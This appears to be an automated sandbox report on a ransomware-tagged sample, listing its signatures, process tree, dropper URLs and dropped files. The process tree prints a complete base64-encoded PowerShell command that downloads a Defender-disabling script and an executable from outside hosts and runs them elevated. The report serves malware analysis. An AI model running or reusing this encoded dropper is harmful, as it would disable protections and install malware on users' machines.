Overview

overview

10

Static

static

1

paaayload.txt

windows10-2004-x64

10

paaayload.txt

windows11-ltsc_2024-x64

7

Analysis

  • user interaction
    yes
  • max time kernel
    179s
  • max time network
    170s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/10/2026, 00:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    paaayload.txt
  • Size 2KB
  • Sample261024-am2kasdh64
  • SHA256 4a78ad5dcc61f65871061a1449aca6fb5a90e885ed9051a33a2e19b9a241a7a4
  • MD5 SHA1 SHA512 TLSH
Score
10/10
ransomware

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://files.catbox.moe/3u8o8q
  • exe.dropper

    https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Suspicious clipboard content. 2 IoCs

    A suspicious script was copied to clipboard.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Modifies registry class 56 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\NOTEPAD.EXE
    C:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\paaayload.txt
    1⤵
    • Suspicious clipboard content.
    • Modifies registry class
    • Opens file in notepad (likely ransom note)
    • Suspicious use of SetWindowsHookEx
    PID:4312
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {24AC8F2B-4D4A-4C17-9607-6A4B14068F97} -Embedding
    1⤵
      PID:4904
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5900
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      1⤵
        PID:2140
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABzAGUAdAB0AGkAbgBnAHMAIAA9ACAAJwB7ACIAVwBEACIAOgAgAHQAcgB1AGUALAAgACIAYQBkAG0AaQBuAHIAdQBuACIAOgAgAHQAcgB1AGUAfQAnACAAfAAgAEMAbwBuAHYAZQByAHQARgByAG8AbQAtAEoAcwBvAG4AOwAkAHIAYQBuAGQAbwBtAFMAdAByAGkAbgBnACAAPQAgACIAegB5AEkAZQBCAG0ARwBYADIAVAAiADsAaQBmACAAKAAkAHMAZQB0AHQAaQBuAGcAcwAuAFcARAApACAAewAkAHMAZQB0AHQAaQBuAGcAcwAuAGEAZABtAGkAbgByAHUAbgAgAD0AIAAkAHQAcgB1AGUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAG4AaQBuAGgAcABuADEAMwAzADcALwBEAGkAcwBhAGIAbABlAC0AVwBpAG4AZABvAHcAcwAtAEQAZQBmAGUAbgBkAGUAcgAvAG0AYQBpAG4ALwBzAG8AdQByAGMAZQAuAGIAYQB0ACcALAAgACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACcAXAAnACAAKwAgACQAcgBhAG4AZABvAG0AUwB0AHIAaQBuAGcAIAArACAAJwAuAGIAYQB0ACcAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACcAXAAnACAAKwAgACQAcgBhAG4AZABvAG0AUwB0AHIAaQBuAGcAIAArACAAJwAuAGIAYQB0ACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAALQBWAGUAcgBiACAAUgB1AG4AQQBzADsAfQA7AGkAZgAgACgAJABzAGUAdAB0AGkAbgBnAHMALgBhAGQAbQBpAG4AcgB1AG4AKQAgAHsAJAB1AHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBmAGkAbABlAHMALgBjAGEAdABiAG8AeAAuAG0AbwBlAC8AMwB1ADgAbwA4AHEAJwA7ACQAbwB1AHQAcAB1AHQAUABhAHQAaAAgAD0AIAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAnAFwAJwAgACsAIAAnAGsAcwBvAG0AaABhAGwAYQBrAC4AZQB4AGUAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAHUAcgBsACwAIAAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAOwB9AGUAbABzAGUAIAB7ACQAdQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AZgBpAGwAZQBzAC4AYwBhAHQAYgBvAHgALgBtAG8AZQAvADMAdQA4AG8AOABxACcAOwAkAG8AdQB0AHAAdQB0AFAAYQB0AGgAIAA9ACAAJABlAG4AdgA6AFQARQBNAFAAIAArACAAJwBcACcAIAArACAAJwBrAHMAbwBtAGgAYQBsAGEAawAuAGUAeABlACcAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACAAJABvAHUAdABwAHUAdABQAGEAdABoACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABvAHUAdABwAHUAdABQAGEAdABoADsAfQA=
          2⤵
          • Badlisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5396

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log
            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-Interactive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
            • Size 2KB
            • SHA256 84cc5d85e71eed874541bd9724ebec8827a12b730b72bd8040fec29ab8a37a50
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_fvac0zle.evv.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fvac0zle.evv.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            46U9WJ0FVVXS9IE08XAV.temp
            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\46U9WJ0FVVXS9IE08XAV.temp
            • Size 5KB
            • SHA256 180734ada6657794b538b65aedf5dcd2b8f335136120f77d7113ca5848c740c2
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            590aee7bdd69b59b.customDestinations-ms
            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
            • Size 5KB
            • SHA256 d117f61061dd0fa272f1d1661bdaf1f44dd1e43b2e3f7345ce236531762ab0b4
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            paaayload.txt
            • Path C:\Users\Admin\Downloads\paaayload.txt
            • Size 2KB
            • SHA256 4a78ad5dcc61f65871061a1449aca6fb5a90e885ed9051a33a2e19b9a241a7a4
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/5396-40-0x000001CAE1560000-0x000001CAE1722000-memory.dmp
            Download

            memory/5396-41-0x000001CAE1C60000-0x000001CAE2188000-memory.dmp
            Download

            memory/5900-9-0x0000019D8A750000-0x0000019D8A772000-memory.dmp
            Download

            memory/5900-12-0x0000019DA2AF0000-0x0000019DA2B34000-memory.dmp
            Download

            memory/5900-13-0x0000019DA5C00000-0x0000019DA5C76000-memory.dmp
            Download